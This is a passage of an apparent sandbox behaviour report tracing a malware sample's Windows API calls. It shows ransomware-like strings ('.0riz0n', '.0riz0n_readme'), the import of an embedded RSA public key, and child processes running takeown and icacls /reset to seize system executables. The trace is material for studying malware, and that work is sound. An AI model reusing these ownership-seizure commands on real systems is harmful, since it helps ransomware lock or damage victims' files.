Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad258) returned 1 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad5e8) returned 1 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf2850) returned 1 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x2800) returned 0xcf2850 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad5e8 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad258 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad268 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac240 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad278 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.841] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.841] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad288 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad618 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad298 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac168 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2d8 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1b0 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2c8 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1f8 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2e8 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5e8 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad258) returned 1 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac240) returned 1 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad268) returned 1 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad278) returned 1 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad288) returned 1 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad5e8) returned 1 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad5e8 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad288 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad278 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad268 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac240 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad258 [0175.842] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac168) returned 1 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad298) returned 1 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1b0) returned 1 [0175.842] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2d8) returned 1 [0175.843] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1f8) returned 1 [0175.843] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2c8) returned 1 [0175.843] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac5e8) returned 1 [0175.843] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2e8) returned 1 [0175.843] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad618) returned 1 [0175.843] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad618 [0175.843] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2e8 [0175.843] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5e8 [0175.843] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2c8 [0175.843] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1f8 [0175.843] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2d8 [0175.843] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1b0 [0175.843] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad298 [0175.843] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac168 [0175.843] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.843] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad288) returned 1 [0175.843] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.843] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad278) returned 1 [0175.843] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac240) returned 1 [0175.843] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad268) returned 1 [0175.843] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.843] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad258) returned 1 [0175.843] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad5e8) returned 1 [0175.843] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0xcf2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0175.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcf2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0175.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcf2850, cbMultiByte=14, lpWideCharStr=0x3adfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0175.844] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0xcf2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0175.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcf2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0175.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcf2850, cbMultiByte=10, lpWideCharStr=0x3ae048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0175.844] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0xcf2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0175.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcf2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0175.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcf2850, cbMultiByte=15, lpWideCharStr=0x3ae0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0175.844] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0xcf2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0175.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcf2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0175.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcf2850, cbMultiByte=56, lpWideCharStr=0x3ae158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0175.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcf5058, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0175.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcf5058, cbMultiByte=7, lpWideCharStr=0x3ae1e0, cchWideChar=7 | out: lpWideCharStr=".0riz0n") returned 7 [0175.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcf5058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0175.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcf5058, cbMultiByte=14, lpWideCharStr=0x3ae268, cchWideChar=14 | out: lpWideCharStr=".0riz0n_readme") returned 14 [0175.845] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0175.845] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x19fa88, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x19fa88, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0175.845] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0xcf7cf8, pcbBinary=0x19fa88, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xcf7cf8, pcbBinary=0x19fa88, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0175.845] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xcf7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x19fa88 | out: pvStructInfo=0x0, pcbStructInfo=0x19fa88) returned 1 [0175.849] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xcf7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0xcf7f40, pcbStructInfo=0x19fa88 | out: pvStructInfo=0xcf7f40, pcbStructInfo=0x19fa88) returned 1 [0175.850] CryptImportPublicKeyInfo (in: hCryptProv=0x62e540, dwCertEncodingType=0x10001, pInfo=0xcf7f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0xcf7f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0xcf7f78*, PublicKey.cUnusedBits=0x0), phKey=0x19fa8c | out: phKey=0x19fa8c*=0x62dd00) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf7f40) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf7cf8) returned 1 [0175.851] ReleaseMutex (hMutex=0xa0) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf5058) returned 1 [0175.851] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x2800) returned 0xcf5058 [0175.851] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac900 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac900) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf5058) returned 1 [0175.851] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x2800) returned 0xcf5058 [0175.851] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac900 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac900) returned 1 [0175.851] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac900 [0175.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0175.851] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3ae1e0 [0175.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac900, cbMultiByte=9, lpWideCharStr=0x3ae1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0175.851] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3ae268 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ae1e0) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ae268) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac900) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf5058) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf2850) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad258) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac240) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad268) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad278) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.851] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad288) returned 1 [0175.852] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad5e8) returned 1 [0175.852] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0175.852] StartServiceCtrlDispatcherW (lpServiceTable=0x19fb54*(lpServiceName="", lpServiceProc=0x126d040)) returned 1 [0175.880] ExitProcess (uExitCode=0x0) Thread: id = 775 os_tid = 0x704 Thread: id = 777 os_tid = 0x6fc Thread: id = 778 os_tid = 0x248 Process: id = "69" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x50e49000" os_pid = "0x6e4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 779 os_tid = 0x5f4 Process: id = "70" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x51252000" os_pid = "0x420" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 780 os_tid = 0x58c Process: id = "71" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x50057000" os_pid = "0x440" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 781 os_tid = 0x4fc Thread: id = 782 os_tid = 0x7ac Process: id = "72" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x4f65c000" os_pid = "0x7d8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 783 os_tid = 0x318 Process: id = "73" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x4ef61000" os_pid = "0x6a4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\System32\\alg.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 784 os_tid = 0x6b8 Thread: id = 785 os_tid = 0x5e8 Process: id = "74" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x4db66000" os_pid = "0x11c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\System32\\alg.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 786 os_tid = 0x45c Process: id = "75" image_name = "alg.exe" filename = "c:\\windows\\system32\\alg.exe" page_root = "0x4c8a9000" os_pid = "0x5d8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\System32\\alg.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\ALG" [0xe], "NT AUTHORITY\\Logon Session 00000000:000315e2" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 787 os_tid = 0x6e8 [0179.412] GetTimeZoneInformation (in: lpTimeZoneInformation=0x22fa30 | out: lpTimeZoneInformation=0x22fa30) returned 0x2 [0179.415] GetCurrentProcess () returned 0xffffffff [0179.415] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x22fa1c | out: lpExitCode=0x22fa1c*=0x103) returned 1 [0179.415] GetForegroundWindow () returned 0x0 [0179.415] GetCaretBlinkTime () returned 0x1f4 [0179.415] GetFileType (hFile=0xf710cd) returned 0x0 [0179.415] GetConsoleProcessList (in: lpdwProcessList=0x22fadc, dwProcessCount=0x1 | out: lpdwProcessList=0x22fadc) returned 0x0 [0179.415] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x22f9e8 | out: pcyOut=0x22f9e8) returned 0x0 [0179.416] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0179.416] GetCommState (in: hFile=0x3b268c, lpDCB=0x22f850 | out: lpDCB=0x22f850) returned 0 [0179.416] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x22f84c, pmr=0x22f838, 